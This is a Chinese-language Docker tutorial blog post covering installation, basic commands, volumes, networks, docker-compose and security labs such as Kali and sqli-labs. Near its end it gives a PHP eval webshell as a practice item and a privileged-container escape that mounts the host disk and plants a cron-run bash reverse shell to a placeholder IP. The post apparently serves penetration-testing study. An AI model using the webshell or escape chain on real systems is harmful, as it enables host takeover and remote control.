Docker 是基于 Go 语言实现的云开源项目,是基于 Linux 的多项开源技术提供高效、敏捷和轻量级的容器方案。创建于 2013 年初,自从开源后就受到了广泛的关注,从长远的眼光来看,Docker 是未来虚拟化的一个发展的趋势。带来了更轻量快捷的的体验,一台主机可以同时运行数千个 Docker 容器,而且在性能上几乎不会损耗。
Docker简介
概念
Docker 是基于 Go 语言实现的云开源项目,是基于 Linux 的多项开源技术提供高效、敏捷和轻量级的容器方案。创建于 2013 年初。自从开源后就受到了广泛的关注,从长远的眼光来看,Docker 是未来虚拟化的一个发展的趋势。
优势
- 一次构建,处处运行,带来了更快速的交付和部署和更轻松的迁移和扩展。
- 对系统内核进行抽象,带来了更轻量快捷的的体验,一台主机可以同时运行数千个 Docker 容器,而且在性能上几乎不会损耗。
参数 | 测试工具 | 物理主机 | Docker |
---|---|---|---|
CPU | sysbench | 1 | 0.9945 |
写内存 | sysbench | 1 | 0.9826 |
读内存 | sysbench | 1 | 1.0025 |
磁盘 I O | dd | 1 | 0.9811 |
网络 | iperf | 1 | 0.9626 |
从数值上看,物理主机与 Docker 容器之间的性能差异不大,二者速度几乎一样。
基本组件
镜像:镜像是构建 Docker 世界的基石。用户的一切操作都是基于镜像来运行自己的容器的。同时镜像也是 Docke r 的 “构建” 部分,也可以把镜像当作容器的” 源代码”,镜像体积很小,便携性高,易分享、存储和更新。
容器:容器是基于镜像启动起来的,用户只需要把自己的应用程序或服务打包放进容器即可。容器中可以运行一个或多个进程,是 Docker 的启动和执行阶段。
Docker 安装
这里我只写 Ubuntu、Kali/Debian、CentOS 下的安装。
Ubuntu/CentOS 安装 Docker
Ubuntu Linux 系统耳熟能详的操作系统。
curl -fsSL get.docker.com -o get-docker.sh
sudo sh get-docker.sh --mirror Aliyun
然后,我们需要向 sources.list
中添加 Docker 软件源
$ echo \
"deb [arch=amd64 signed-by=/usr/share/keyrings/docker-archive-keyring.gpg] https://mirrors.aliyun.com/docker-ce/linux/ubuntu \
$(lsb_release -cs) stable" | sudo tee /etc/apt/sources.list.d/docker.list > /dev/null
# 官方源
# $ echo \
# "deb [arch=amd64 signed-by=/usr/share/keyrings/docker-archive-keyring.gpg] https://download.docker.com/linux/ubuntu \
# $(lsb_release -cs) stable" | sudo tee /etc/apt/sources.list.d/docker.list > /dev/null
Dokcer 入门
搜索镜像
Dokcer 通过 Dokcer Hub 搭建镜像共享生态系统,这意味着我们可以直接下载其他人已经打包好的镜像。
使用 docker search 命令在 Docker HUB 中搜索镜像
这里我们以搜索 Ubuntu 镜像为例:
docker search ubuntu
一般我们下载靠前面的镜像,OFFICIAL 标签如果是 OK 的话,这表示是官方镜像,其他的都是用户自己创建并共享的镜像。
下载镜像
下面从 Docker Hub 下载 Ubuntu 镜像,终端输入:
docker pull ubuntu
列出下载的镜像
下面列出本地主机中已经下载的 docker 镜像
终端输入:
docker images
或者:
docker image ls
创建并使用容器
使用 run 命令即可用镜像来创建一个容器
docker run -i -t --name hellodocker ubuntu /bin/
命令格式为:docker run <选项参数> <镜像名称> <要运行的文件>
>使用 -i、-t选项可以在运行的Bash shell中进行输入与输出
>使用—name可以指定容器的名称。如果不指定的话,docker默认会自动生成随机的名称进行指定。
再回看这行命令大概就明白了它的意思:使用 ubuntu 这个镜像来创建一个名为 hellodocker 的容器
当我们创建容器后,默认就进入了容器,此时使用 cd、ls 等命令发现已经不是我们物理机上的 ubutu 了。
退出容器
终端输入:
exit
从 Bash shell 退出,因为在 Ubuntu 镜像中直接运行 /bin/bash 可执行文件,所以退出后 容器也会终止(stop),就这样我们创建运行并退出了一个容器,现在自己再亲手创建个容器试试看吧。
查看容器列表
终端输入:
docker ps -a
查看本地的所有容器的详细信息,可以看到他们的 ID、所使用的镜像、创建时间、端口等信息 。
使用 start 命令来启动容器
到这里机智的小伙伴们可能产生疑问了:第一次创建容器是默认就进入了容器,那么在我们 exit 退出容器之后如何唤醒我们的容器呢? 表急,其实 docker 早已考虑到了这个,我们在终端下输入:
docker start hellodocker
来启动名为 hellodocker 的容器,所以启动 docker 容器的命令就是:
docker start 容器名
来启动名为 hellodocker 的容器,所以启动 docker 容器的命令就是:
docker start 容器名
使用 restart 命令来重启容器
与重启系统一样,也可以直接使用如下命令来重启某个容器:
docker restart hellodocker
使用 attach 命令连接容器
前面我们 start 了一个容器,但是还是默认不进入容器,我们使用:
docker ps -a
来查看容器的运行情况,可以看到 hellodocker 这个容器已经启动了 4 秒多了,说明容器已经在运行了,那么我们怎么来连接启动的 docker 容器呢?终端输入:
docker attach hellodocker
Docker 系统统计信息
终端下输入:
docker stats
用来显示一个或多个容器的统计信息,可以看到容器的 ID、CPU 占用率、内存使用率、网速等信息
终止容器
要终止容器的话,首先 docker ps -a 列出后台正在运行的容器,然后终端输入:
docker stop hellodocker
终止了我们刚启动不久的 hellodocker 容器
删除容器
如果容器不再使用可以使用如下命令删除:
docker rm hellodocker
删除镜像
如果镜像不再使用可以使用如下命令删除:
docker rmi ubuntu
Docker 简约命令
列出下载的镜像
docker image ls
部署容器
docker run --name hellodocker -d -p 81:80 ubuntu:18.04
创建并使用容器
docker run -i -t --name hellodocker ubuntu /bin/bash
查看容器列表
docker ps -a
使用 start 命令来启动容器
docker start 容器名
使用 restart 命令来重启容器
docker restart 容器名
使用 attach 命令连接容器
docker attach 容器名
docker exec -it 容器名 /bin/docker exec -it 容器名 /bin/zsh
Docker 系统统计信息
docker stats
终止容器
docker stop 容器名
删除容器
docker rm 容器名
删除镜像
docker rmi ubuntu
打造属于你自己的 Kali
一般我们搞信息安全的难免都会用到 Kali Linux,如果不想安装累赘的虚拟机或者不想折腾更新源等那么该肿么办呢?现在有了 Docker,这一切的问题都不再是问题,使用 Docker 来运行 Kali,更加轻便快捷,而且可以 ping 通物理机的 C 段,用来实战的话再合适不过了。
首先搜索下可用的 Kali 镜像
docker search kali
出来了一大堆,根据名字可以大概判断出第二个镜像是带有 meatsploit 的,所以为了日后配置的方便我们这里直接来下载第二个镜像。
下载 Kali 镜像
docker pull linuxkonsult/kali-metasploit
下载带有 msf 的 kali 镜像(镜像不大,我这边下载完不到 10 分钟)
创建 Kali 容器
docker run -i -t --name msfkali linuxkonsult/kali-metasploit /bin/bash
用下载的 kali 镜像创建个名为 msfkali 的容器
进入容器查看基本信息
可以看到 kali 使用的是默认源,这里我要说一下,kali 2016.X 版本的 kali 使用这个默认官方源就好, 这个默认的官方源会自动选择速度最快的镜像站点来下载。
$ cat /etc/apt/sources.list
deb http://http.kali.org/kali kali-rolling main contrib non-free
deb-src http://http.kali.org/kali kali-rolling main contrib non-free
终端输入:
msfconsole
除此之外还带了 nmap、wget、git 等,但是这些工具还不够我们完成一次渗透测试
安装自己需要的工具
首先先刷新下更新缓存列表:
apt update
然后就可以直接安装工具了
apt install 工具名
这里你需要什么工具就安装什么工具,速度很快的,用什么就安装什么,没有什么比这个更 DIY 的了。举个例子:你想安装个 aircrack 来破解 WiFi 密码,那么就直接:
apt-get install aircrack-ng
总之,这个 Kali Docker 就是 Kali 的命令行,和正常是 Kali 一模一样,该怎么折腾就怎么折腾吧。
Docker 优化
Docker 国内加速器
不替换源对话,docker pull 拉去镜像对速度实在太龟速了,如果你很佛系对话可以不进行更换
# 编辑这个文件,如果没有对话就创建这个文件
vim /etc/docker/daemon.json
内容如下:
JSON
{
"registry-mirrors": [
"http://hub-mirror.c.163.com"
]
}
这里我使用对是国内 163 网易源,其他源可以自行百度替换。
配置完成后重启服务才可以生效:
sudo systemctl daemon-reload
sudo systemctl restart docker
Docker 基础命令
搜索镜像
docker search 关键词
下载镜像
docker pull 镜像名
查看已下载的镜像列表
docker image ls
创建并使用容器
docker run -it --name 容器名 镜像名/镜像ID /bin/bash
查看当前容器
docker ps -a
统计信息
docker stats
启动容器
docker start 容器名/容器ID
重启容器
docker restart 容器名/容器ID
终止容器
docker stop 容器名/容器ID
终止所有容器
docker stop $(docker ps -aq)
连接容器
docker exec -it 容器名/容器ID /bin/bash
删除容器
docker rm 容器名/容器ID
删除所有容器
docker rm $(docker ps -aq)
删除镜像
docker rmi 镜像名/容器ID
删除所有镜像
docker rmi $(docker images -q)
端口映射
部署一个容器,并将 80 端口映射到宿主机的 8000 端口上
# 可以使用--name自定义部署的容器名
docker run -d -p 8000:80 --name 容器名 镜像名
# 也可以直接通过镜像部署
docker run -d -p 8000:80 镜像名
dockerfile 部署镜像
docker build -t 自定义镜像名称 .
docker-compose 部署
docker-compose up -d
构建新的镜像
docker commit -a "提交的镜像作者" -m "提交时的说明文字" 容器的ID 要创建的新的镜像
docker commit -a "1cePeak" -m "wordpress_phpmyadmin" d64655e87ccc wordpress_phpmyadmin:v1
保存离线镜像
docker save -o 镜像文件名.tar 要保持的镜像
docker save -o wordpress_phpmyadmin.tar wordpress_phpmyadmin:latest
导入离线镜像
docker load --input 镜像文件名.tar
docker load --input wordpress_phpmyadmin.tar
数据卷
数据卷
是一个可供一个或多个容器使用的特殊目录,它绕过 UnionFS,可以提供很多有用的特性:
数据卷
可以在容器之间共享和重用- 对
数据卷
的修改会立马生效 - 对
数据卷
的更新,不会影响镜像 数据卷
默认会一直存在,即使容器被删除
注意:
数据卷
的使用,类似于 Linux 下对目录或文件进行 mount,镜像中的被指定为挂载点的目录中的文件会复制到数据卷中(仅数据卷为空时会复制)。
创建一个数据卷
$ docker volume create my-vol
查看所有的 数据卷
$ docker volume ls
DRIVER VOLUME NAME
local my-vol
在主机里使用以下命令可以查看指定 数据卷
的信息
$ docker volume inspect my-vol
[
{
"Driver": "local",
"Labels": {},
"Mountpoint": "/var/lib/docker/volumes/my-vol/_data",
"Name": "my-vol",
"Options": {},
"Scope": "local"
}
]
启动一个挂载数据卷的容器
在用 docker run
命令的时候,使用 --mount
标记来将 数据卷
挂载到容器里。在一次 docker run
中可以挂载多个 数据卷
。
下面创建一个名为 web
的容器,并加载一个 数据卷
到容器的 /usr/share/nginx/html
目录。
$ docker run -d -P \
--name web \
\# -v my-vol:/usr/share/nginx/html \
--mount source=my-vol,target=/usr/share/nginx/html \
nginx:alpine
查看数据卷的具体信息
在主机里使用以下命令可以查看 web
容器的信息
$ docker inspect web
数据卷
信息在 “Mounts” Key 下面
"Mounts": [
{
"Type": "volume",
"Name": "my-vol",
"Source": "/var/lib/docker/volumes/my-vol/_data",
"Destination": "/usr/share/nginx/html",
"Driver": "local",
"Mode": "",
"RW": true,
"Propagation": ""
}
],
删除数据卷
$ docker volume rm my-vol
数据卷
是被设计用来持久化数据的,它的生命周期独立于容器,Docker 不会在容器被删除后自动删除 数据卷
,并且也不存在垃圾回收这样的机制来处理没有任何容器引用的 数据卷
。如果需要在删除容器的同时移除数据卷。可以在删除容器的时候使用 docker rm -v
这个命令。
无主的数据卷可能会占据很多空间,要清理请使用以下命令
$ docker volume prune
挂载卷
看下面的这个案例理解一下就明白了:
docker run -d -p 9088:80 --name wordpress_phpmyadmin -v "`pwd`/mysql":/var/lib/mysql/ -v "`pwd`/app":/app/ wordpress_phpmyadmin:latest
复制文件
# 物理机拷贝到容器
docker cp test.txt 容器ID:/var/www/html
# 容器拷贝到物理机
docker cp 容器ID:/var/www/html/test.txt 物理机路径
新建网络
下面先创建一个新的 Docker 网络。
$ docker network create -d bridge my-net
-d
参数指定 Docker 网络类型,有 bridge
overlay
。其中 overlay
网络类型用于 Swarm mode,在本小节中你可以忽略它。
连接容器
运行一个容器并连接到新建的 test-net
网络
$ docker run -it --rm --name test1 --network test-net centos:7 sh
打开新的终端,再运行一个容器并加入到 test-net
网络
$ docker run -it --rm --name test2 --network test-net centos:7 sh
下面通过 ping
来证明 test1
容器和 test2
容器建立了互联关系。
在 test1
容器输入以下命令
/ # ping test2
PING test2 (172.19.0.3): 56 data bytes
64 bytes from 172.19.0.3: seq=0 ttl=64 time=0.072 ms
64 bytes from 172.19.0.3: seq=1 ttl=64 time=0.118 ms
用 ping 来测试连接 test2
容器,它会解析成 172.19.0.3
。
同理在 test2
容器执行 ping test1
,也会成功连接到。
/ # ping test1
PING test1 (172.19.0.2): 56 data bytes
64 bytes from 172.19.0.2: seq=0 ttl=64 time=0.064 ms
64 bytes from 172.19.0.2: seq=1 ttl=64 time=0.143 ms
这样,test1
容器和 test2
容器建立了互联关系。
Docker compose
docker compose 神器,国内的 vulhubs 靶场就是用的 docker compose 规范,所以这里有必要安装一下。
首先来查看最新版本 https://github.com/docker/compose/releases
# 下载docker-compose
curl -L https://github.com/docker/compose/releases/download/1.25.0-rc2/docker-compose-`uname -s`-`uname -m` -o /usr/local/bin/docker-compose
# 给docker-compose执行权限
chmod +x /usr/local/bin/docker-compose
# 查看docker compose版本
root@kali-linux:~# docker-compose version
docker-compose version 1.25.0-rc2, build 661ac20e
docker-py version: 4.0.1
CPython version: 3.7.4
OpenSSL version: OpenSSL 1.1.0k 28 May 2019
一些小Tips
如何确认是在docker容器中?
方法一:检查根目录下是否存在.dockerenv文件
如果根目录下存在.dockerenv文件,说明是在docker容器中。
ls -al /
方法二:检查 /proc/1/cgroup 是否存在含有docker字符串
查询系统进程的cgroup信息,存在docker字段则是在docker容器中。
实践项目
Docker搭建 sqli-labs 环境
docker pull acgpiano/sqli-labs
docker run --name sqli-labs -d -p 8080:80 acgpiano/sqli-labs
docker exec -it ID /bin/bash
- MySQL 默认密码为 空
- 浏览器访问:127.0.0.1:8080
- 初始化数据库先
Docker 搭建 Portainer 图形管理工具
$ docker search portainer
$ docker pull portainer/portainer
$ docker run -d -p 9000:9000 --restart=always -v /var/run/docker.sock:/var/run/docker.sock --name portainer portainer/portainer
Docker 搭建宝塔面板注意事项
centos7 镜像,做好端口映射
8080:88 888:888 8888:8888 8081:80
每次重启的时候得手动启动服务:
$ /etc/init.d/bt start
$ /etc/init.d/mysqld start
$ /etc/init.d/nginx start
$ /etc/init.d/php-fpm-54 start
$ /etc/init.d/php-fpm-73 start
Docker 搭建Answer
Answer是一个类似知乎的开源问答社区。
https://github.com/answerdev/answer
Docker compose
练习使用docker-compose组建含有3个容器的服务,这三个容器由php:7.2-apache镜像构成,并且在三个容器中,Web目录下有一个名为index.php的Webshell,内容为 :
<?php eval($_POST['cmd']);?>
三个容器container_a、container_b、container_c,ab所在网络为network1,bc所在网络为network2。
Docker逃逸
特权模式逃逸是一种最简单有效的逃逸方法,使用特权模式启动的容器时,docker管理员可通过mount命令将外部宿主机磁盘设备挂载进容器内部,获取对整个宿主机的文件读写权限,可直接通过chroot切换根目录、写ssh公钥和crontab计划任何等逃逸到宿主机。
环境搭建
拉取一个镜像,在启用时使用–privileged
docker pull ubuntu:16.04docker run -itd --privileged ubuntu:16.04 /bin/bash
漏洞验证
判断是否是特权模式启动,如果是以特权模式启动的话,CapEff对应的掩码值应该为0000003fffffffff
cat /proc/self/status | grep Cap
漏洞利用
在docker容器中查看系统磁盘分区情况,在新建一个目录,将宿主机所在磁盘挂载到新建的目录中。
fdisk -l
mkdir /hacker
mount /dev/sda5 /hacker
进入到hacker目录,通过touch创建一个sh文件,再将bash反弹命令写入到创建的sh文件里面,在编写计划任务到/hacker/etc/crontab文件中。
touch /hacker/hacker.sh
echo "bash -i >& /dev/tcp/xx.xx.xx.xx/12580 0>&1" >/hacker/hacker.sh
echo "* * * * * root bash /hacker.sh" >> /hacker/etc/crontab